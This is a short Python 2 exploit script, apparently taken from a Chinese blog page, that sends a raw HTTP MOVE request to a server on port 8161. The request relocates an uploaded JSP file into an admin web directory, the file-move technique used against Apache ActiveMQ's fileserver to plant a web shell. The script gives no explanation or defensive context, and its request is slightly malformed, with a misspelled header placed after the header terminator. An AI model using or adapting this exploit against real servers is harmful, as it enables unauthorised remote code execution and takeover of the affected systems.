#coding:utf-8

import socket

shell='MOVE /xiaomo.jsp HTTP/1.1\r\n'
shell+='Host: 192.168.0.1:8161\r\n'
shell+='Destination: file:///opt/admin/xxx.jsp'+'\r\n\r\n'
shell+='Content-Lenth:0\r\n'
print shell
test_HOST='192.168.0.1'
test_PORT=8161
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
        s.connect((test_HOST,test_PORT))
        s.send(shell)
except Exception,e:
        pass
finally:
        s.close()

发表评论

电子邮件地址不会被公开。 必填项已用*标注